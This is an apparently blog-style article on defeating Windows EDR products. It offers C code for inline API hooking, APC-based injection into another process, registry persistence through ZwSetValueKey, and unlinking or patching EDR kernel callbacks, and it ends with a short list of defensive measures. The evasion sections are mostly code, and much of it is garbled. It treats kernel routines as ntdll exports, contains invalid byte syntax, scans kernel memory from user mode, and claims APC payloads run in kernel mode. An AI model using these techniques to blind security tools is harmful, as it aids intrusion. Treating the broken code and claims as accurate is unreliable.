In the landscape of cybersecurity confrontation, Endpoint Detection and Response (EDR) tools remain a critical line of defense for defenders. They monitor key behaviors such as process creation, thread activity, and registry modifications to detect and block malicious attacks in a timely manner,Last time we discussed process creation and thread notifications in ‘How Does Windows EDR Block Programs via Callback Mechanisms? A Detailed Guide to 3 Evasion Methods & Defense Strategies‘. However, attackers are constantly exploring techniques to bypass EDR monitoring, ranging from user-mode “invisible loading” to kernel-level “privilege control,” making the battle between offense and defense increasingly intense. This article will deeply dissect several core EDR evasion techniques that are difficult to defend against, helping you see through attackers’ “invisibility cloaks” while providing defensive insights for the protection side.

1. Image Load Notification: Routine Monitoring of DLLs and Its Breakthrough Points
To understand how EDR monitors DLL loading, we first need to grasp the essence of “image loading.” Whenever a program starts or loads a DLL file during runtime—whether it’s a system-essential one like kernel32.dll or a malicious evil.dll crafted by attackers—the Windows kernel triggers an image load notification. This mechanism acts like a “surveillance camera” deployed by EDR, leaving malicious DLLs with nowhere to hide,Below is a screenshot of a EDR setting a callback in the kernel.

A typical program startup process clearly illustrates this monitoring logic:
- Load the main program EXE file;
- Load kernel32.dll → Trigger image load notification → EDR captures the event;
- Load user32.dll → Trigger image load notification → EDR captures the event;
- If a malicious DLL is loaded → Trigger image load notification → EDR directly blocks it.
EDR implements monitoring by registering an image load callback function, which focuses on verifying three core pieces of information: whether the DLL’s disk path is suspicious, whether its digital signature is valid, and whether it is in a known blacklist. The core code logic for registering the callback is as follows:
#include <windows.h>
#include <stdio.h>
// Callback function prototype defined by EDR driver
typedef VOID (*PLOAD_IMAGE_NOTIFY_ROUTINE)(
PUNICODE_STRING FullImageName, // Full path of the DLL
HANDLE ProcessId, // Process ID loading the DLL
PIMAGE_INFO ImageInfo // Detailed information of the DLL
);
// Register the callback with Windows during initialization
PsSetLoadImageNotifyRoutine(MyLoadImageNotifyRoutine);
VOID MyLoadImageNotifyRoutine(
PUNICODE_STRING FullImageName,
HANDLE ProcessId,
PIMAGE_INFO ImageInfo
)
{
// Check if the DLL is in the blacklist
if (ContainsBlacklistedPath(FullImageName)) {// Block the suspicious DLL from loading}
// Log the DLL load event
LogDLLLoad(FullImageName, ProcessId);
}
From the IMAGE_INFO structure, EDR can also obtain key information such as the DLL’s load address, size, bitness (32-bit or 64-bit), and whether it is a system DLL, further improving detection accuracy. The detailed definition of this structure is as follows, which clearly shows the core data dimensions monitored by EDR:
typedef struct _IMAGE_INFO {
union {
ULONG Properties;
struct {
ULONG ImageAddressingMode : 8; // 32-bit or 64-bit
ULONG SystemModeImage : 1; // Is it a system DLL?
ULONG ImageMachineType : 16; // Processor type
ULONG ImageCharacteristics : 16; // File characteristics
ULONG Spare : 15;
ULONG EtwLoggingOnly : 1; // Event tracing
};
};
PVOID ImageBase; // Load address
ULONG ImageSelector;
ULONG ImageSize; // Size
ULONG ImageSectionNumber;
} IMAGE_INFO;
However, this “notification-based monitoring” has an inherent vulnerability—once the notification is prevented from being triggered, monitoring can be bypassed. This is the core breakthrough point for subsequent EDR evasion techniques such as tunneling tools.
2. Tunneling Tools: Memory Magic to “Disappear” DLL Loading
For attackers to run malicious code, they inevitably need to call system APIs (such as CreateProcessA in kernel32.dll). However, every DLL load triggers an EDR notification. How can they obtain API functionality without triggering notifications? “Tunneling Tools” provide the answer: move the required code into memory in advance before the notification is triggered.
The core idea of tunneling tools is to use inline hooking and code caves, which specifically involves four steps:
- Obtain function address: Locate the target API (e.g., CreateProcessA) in memory via GetProcAddress;
- Save original code: Copy the first 5 bytes of the API function (the “foothold” for hooking);
- Construct memory tunnel: Copy the complete functional code of the target API into memory to form a “code copy”;
- Hook the original function: Modify the start of the original API to a jump instruction pointing to the “tunnel code” in memory.
In this way, when the program calls the API, it actually executes the “tunnel code” in memory instead of reloading from the DLL file. Since there is no DLL loading behavior, EDR’s image load notification will not be triggered. The following is a core implementation code example of a tunneling tool, which more intuitively shows the process of constructing an API code copy in memory:
#include <windows.h>
#include <stdio.h>
// Step 1: Define the target API function prototype
typedef int(*LPFN_CreateProcessA)(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
// Step 2: Save the first 5 bytes of the original CreateProcessA function
BYTE originalBytes[5];
LPFN_CreateProcessA origCreateProcessA = (LPFN_CreateProcessA)GetProcAddress(GetModuleHandleA("kernel32.dll"),
"CreateProcessA"
);
memcpy(originalBytes, (BYTE*)origCreateProcessA, 5);
// Step 3: Create a memory tunnel and copy the core functional code of CreateProcessA
BYTE tunnelCode[200];
// The assembly instruction copying process is omitted here (needs to be written based on the actual API instruction set)
// The core is to completely migrate the API's system call logic to tunnelCode
// Step 4: Construct the hook instruction to jump to the tunnel code
BYTE hookCode[5] = {0xE9}; // JMP instruction
DWORD jumpAddr = (DWORD)tunnelCode - (DWORD)origCreateProcessA - 5;
memcpy(&hookCode[1], &jumpAddr, 4);
WriteProcessMemory(GetCurrentProcess(), (BYTE*)origCreateProcessA, hookCode, 5, NULL);
The difference between the traditional method and the tunneling tool is obvious, which is also a classic approach for Windows DLL load monitoring bypass:
Traditional method: Program → Call CreateProcessA → Trigger image load notification → EDR detects kernel32.dll loading (blocked);
Tunneling tool method: Program → Call the hooked CreateProcessA → Jump to memory tunnel code → Execute system call directly (no notification, bypass EDR).
3. KAPC Injection: The Kernel-Level “Invisible Hand”
If tunneling tools are “tricks” at the user mode, then KAPC injection is a “killer move” at the kernel level. KAPC (Kernel Asynchronous Procedure Call) is a native mechanism of the Windows kernel that allows executing specified code at a “safe moment” for the target thread. This “safe moment” occurs in kernel mode, which just avoids monitoring by most user-space EDRs.
Ordinary thread injection (such as CreateRemoteThread) directly triggers EDR’s thread creation notification, but the process of KAPC injection is completely different:
Ordinary API call: User code → CreateRemoteThread() → Trigger thread notification → EDR blocks;
KAPC call: User code → Create KAPC via QueueUserAPC() → Wait for the target thread to enter a “alertable state” → Switch to kernel mode → Execute injected code (undetectable by EDR).
The key here is the “alertable state”—when a thread is in states such as waiting for WaitForSingleObject, sleeping via Sleep, or alertable sleeping via SleepEx, it becomes a “target” for KAPC injection. The following is a KAPC injection practical code framework, showing the complete process from structure definition to queue injection:
#include <windows.h>
#include <winternl.h>
// Define KAPC-related structures and function pointers
typedef struct _KAPC {
UCHAR Type;
UCHAR Spare0;
USHORT Size;
LIST_ENTRY ApcListEntry;
PKKERNEL_ROUTINE KernelRoutine;
PKRUNDOWN_ROUTINE RundownRoutine;
PKNORMAL_ROUTINE NormalRoutine;
PVOID NormalContext;
PVOID SystemArgument1;
PVOID SystemArgument2;
CCHAR ApcStateIndex;
KPROCESSOR_MODE ApcMode;
BOOLEAN Inserted;
} KAPC, *PKAPC;
typedef VOID (*PKKERNEL_ROUTINE)(PKAPC, PKNORMAL_ROUTINE*, PVOID*, PVOID*, PVOID*);
typedef VOID (*PKNORMAL_ROUTINE)(PVOID, PVOID, PVOID);
typedef VOID (*PKRUNDOWN_ROUTINE)(PKAPC);
// Obtain unexported kernel functions from ntdll.dll
typedef NTSTATUS (*PfnKeInitializeApc)(
PKAPC Apc,
PKTHREAD Thread,
KAPC_ENVIRONMENT ApcMode,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine,
KPROCESSOR_MODE ProcessorMode,
PVOID NormalContext
);
typedef BOOLEAN (*PfnKeInsertQueueApc)(
PKAPC Apc,
PVOID SystemArgument1,
PVOID SystemArgument2,
KPRIORITY Increment
);
PfnKeInitializeApc KeInitializeApc = (PfnKeInitializeApc)GetProcAddress(GetModuleHandleA("ntdll.dll"), "KeInitializeApc"
);
PfnKeInsertQueueApc KeInsertQueueApc = (PfnKeInsertQueueApc)GetProcAddress(GetModuleHandleA("ntdll.dll"), "KeInsertQueueApc"
);
// Malicious code to be injected (simple instructions as an example)
BYTE injectionCode[] = {
0x55, // push rbp
0x48,0x89,E5, // mov rbp, rsp
0x90, // nop (placeholder for actual malicious logic)
0x5D, // pop rbp
0xC3 // ret
};
int main() {
// 1. Open the target process and thread
HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 1234); // Target PID
HANDLE hTargetThread = OpenThread(THREAD_ALL_ACCESS, FALSE, 5678); // Target TID
// 2. Allocate executable memory in the target process
PVOID remoteMem = VirtualAllocEx(hTargetProcess, NULL, sizeof(injectionCode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
WriteProcessMemory(hTargetProcess, remoteMem, injectionCode, sizeof(injectionCode), NULL);
// 3. Initialize the KAPC structure
KAPC kapc = {0};
KeInitializeApc(
&kapc, hTargetThread, OriginalApcMode,
NULL, NULL, (PKNORMAL_ROUTINE)remoteMem,
UserMode, NULL
);
// 4. Queue the KAPC to the thread
KeInsertQueueApc(&kapc, NULL, NULL, 0);
return 0;
}
There are three core reasons why KAPC injection is difficult to defend against: first, the code executes in kernel mode, which cannot be captured by user-mode hooks; second, it does not create new threads, bypassing thread notifications; third, from the perspective of process monitoring, the target thread only appears to be in a “waiting state” with no obvious abnormalities. This is also a typical advantage of kernel-level EDR bypass techniques.
4. Registry Monitoring Evasion: From API Bypassing to Timing Attacks
The Windows Registry stores a wealth of critical system configurations, including startup programs, DLL search paths, and security settings. When attackers modify the registry (e.g., adding persistence entries), EDR’s registry monitoring will immediately alert. EDR registers a callback function via CmRegisterCallback to monitor operations such as RegNtPreSetValueKey (before writing) and RegNtPreDeleteKey (before deletion), achieving “pre-interception.”
Against such monitoring, attackers commonly use three evasion techniques, which are widely applied especially in EDR registry monitoring bypass scenarios:
- Low-level API bypass: Abandon user-mode APIs like RegSetValueEx and directly call ZwSetValueKey in ntdll.dll—a lower-level system call that some EDRs may not monitor. The code example is as follows:
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS (*PfnZwSetValueKey)(
HANDLE KeyHandle,
PUNICODE_STRING ValueName,
ULONG TitleIndex,
ULONG Type,
PVOID Data,
ULONG DataSize
);
int main() {PfnZwSetValueKey ZwSetValueKey = (PfnZwSetValueKey)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwSetValueKey"
);
// Open the target registry key
HANDLE hKey;
RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Test", 0, KEY_SET_VALUE, &hKey);
// Construct Unicode value name and data
UNICODE_STRING valueName;
RtlInitUnicodeString(&valueName, L"Persistent");
BYTE data[] = "malicious_persistence";
// Modify the registry using the low-level API
ZwSetValueKey(hKey, &valueName, 0, REG_SZ, data, sizeof(data));
RegCloseKey(hKey);
return 0;
}
- Timing attack: Utilize the “time window” at the early stage of system startup—EDR drivers require time to load and initialize. Attackers delay briefly after system startup (e.g., Sleep for 2000 milliseconds) and quickly modify the registry while EDR has not yet completed callback registration;
- File replacement strategy: Store configurations that should have been in the registry (such as persistence information) in files, completely bypassing registry monitoring.
5. Ultimate Trick: EDR Driver Callback Hijacking
If attackers obtain SYSTEM privileges or administrator privileges, there is an “once and for all” method—directly rewriting the callback function of the EDR driver. This is equivalent to “cutting off the source,” fundamentally destroying EDR’s monitoring capability.
The principle is simple: the Windows kernel maintains a “callback chain” for various events (such as process creation and image load callbacks), which is essentially a linked list structure where each node stores the address of a registered callback function. When an event is triggered, the kernel traverses the linked list and calls each callback function in sequence.
Attackers only need to find the node of EDR in the callback chain to hijack monitoring through three strategies:
- Remove EDR callback: Directly delete EDR’s callback node from the chain, so EDR’s monitoring function will not be called when the event is triggered;
- Replace callback function: Replace EDR’s callback address with a “castrated version” of their own function, making EDR only perform log recording without interception;
- Insert fake callback: Insert a fake callback function into the chain to mislead EDR’s monitoring logic.
In practice, attackers find the EDR callback address through memory scanning (looking for the characteristic byte sequence of the EDR driver’s callback function) or export table analysis, and then modify the callback chain through kernel drivers or debugging tools. The following is a technical implementation example of EDR driver callback hijacking, including the logic of callback address finding and chain modification:
#include <windows.h>
#include <winternl.h>
// Step 1: Find the EDR callback address through signature scanning
PVOID FindEDRCallbackBySignature() {// Common signature of EDR callback functions (example)
BYTE signature[] = {0x48, 0x8B, 0x4C, 0x24, 0x08, 0xFF, 0x12};
// Scan in kernel memory space (example range for 64-bit systems)
for (PUCHAR addr = (PUCHAR)0xFFFF800000000000; addr < (PUCHAR)0xFFFFFFFFFFFFFFFF; addr += 1) {if (memcmp(addr, signature, sizeof(signature)) == 0) {return (PVOID)addr; // Return the found EDR callback address
}
}
return NULL;
}
// Step 2: Define the callback chain structure (simplified version)
typedef struct _CALLBACK_ENTRY {
PVOID CallbackFunc;
struct _CALLBACK_ENTRY* Next;
} CALLBACK_ENTRY, *PCALLBACK_ENTRY;
// Step 3: Delete the EDR node from the callback chain
void RemoveEDRCallback() {PVOID edrCallback = FindEDRCallbackBySignature();
if (!edrCallback) return;
// Assume the callback chain head address is known (needs to be determined based on Windows version)
PCALLBACK_ENTRY chainHead = (PCALLBACK_ENTRY)0xFFFFF80000000000;
PCALLBACK_ENTRY current = chainHead;
PCALLBACK_ENTRY prev = NULL;
// Traverse the chain to find the EDR callback
while (current) {if (current->CallbackFunc == edrCallback) {
// Remove the EDR node from the chain
if (prev) prev->Next = current->Next;
else chainHead = current->Next;
break;
}
prev = current;
current = current->Next;
}
}
// Step 4: Directly rewrite the EDR callback to NOP (alternative 方案)
void DisableEDRCallback() {PVOID edrCallback = FindEDRCallbackBySignature();
if (!edrCallback) return;
// Change the first instruction of the callback function to ret (0xC3) to make it return directly
BYTE retCode = 0xC3;
// Need to elevate privileges to modify kernel memory (privilege elevation logic omitted here)
WriteProcessMemory(GetCurrentProcess(), edrCallback, &retCode, 1, NULL);
}
This EDR driver callback hijacking technique poses a great challenge to the defense side, as it directly acts on EDR’s core monitoring link. Once successful, EDR will completely lose its ability to perceive target events.
6. Defensive Insights: How to Deal with These “Invisibility Tricks”?
Facing these complex EDR evasion techniques, the defense side cannot rely solely on a single monitoring mechanism. Instead, it needs to build a “multi-layered defense system,” especially formulating special protection strategies for kernel-level EDR bypass methods and user-mode DLL load invisibility techniques:
- Enhanced kernel-level monitoring: Conduct in-depth auditing of behaviors such as KAPC queue operations, callback chain node modifications, and kernel memory reading/writing. Combine with Windows kernel debugging interfaces (such as breakpoint monitoring in WinDbg) to detect abnormal kernel operations in a timely manner;
- Behavior baseline modeling: Establish normal baselines for process API call sequences, thread state transitions, and registry access patterns based on machine learning. Trigger alerts when abnormalities such as “a process calls an API without loading the corresponding DLL” or “a thread frequently enters an alertable state” occur, accurately identifying hidden behaviors like tunneling tools and KAPC injection;
- Memory protection reinforcement: Enable hardware-enforced memory integrity protection (such as HVCI) to prohibit unsigned code from modifying kernel memory. At the same time, implement page protection monitoring for the process memory space to prevent malicious construction of code caves and memory tunnels;
- Driver signature verification: Strictly verify the digital signatures of all loaded kernel drivers to prevent attackers from obtaining kernel privileges through malicious drivers for callback hijacking. Regularly scan for unsigned driver modules in the system.
The attack and defense in cybersecurity is a constantly evolving game. Understanding the principles of EDR evasion techniques and practical methods used by attackers is essential to building a solid defense barrier. For enterprises, in addition to technical reinforcement, they also need to combine the following measures to improve overall protection capabilities: regularly conduct red-blue team exercises to simulate attack scenarios where attackers use techniques such as tunneling tools and KAPC injection, testing the actual defense effect of EDR tools; establish a dynamic update mechanism for the EDR rule base to keep up with the latest evasion technique characteristics; strengthen security awareness training for end users to reduce the chance of initial intrusion caused by social engineering techniques such as phishing attacks. Only by integrating technology, processes, and personnel can we effectively resist the ever-evolving EDR bypass attacks.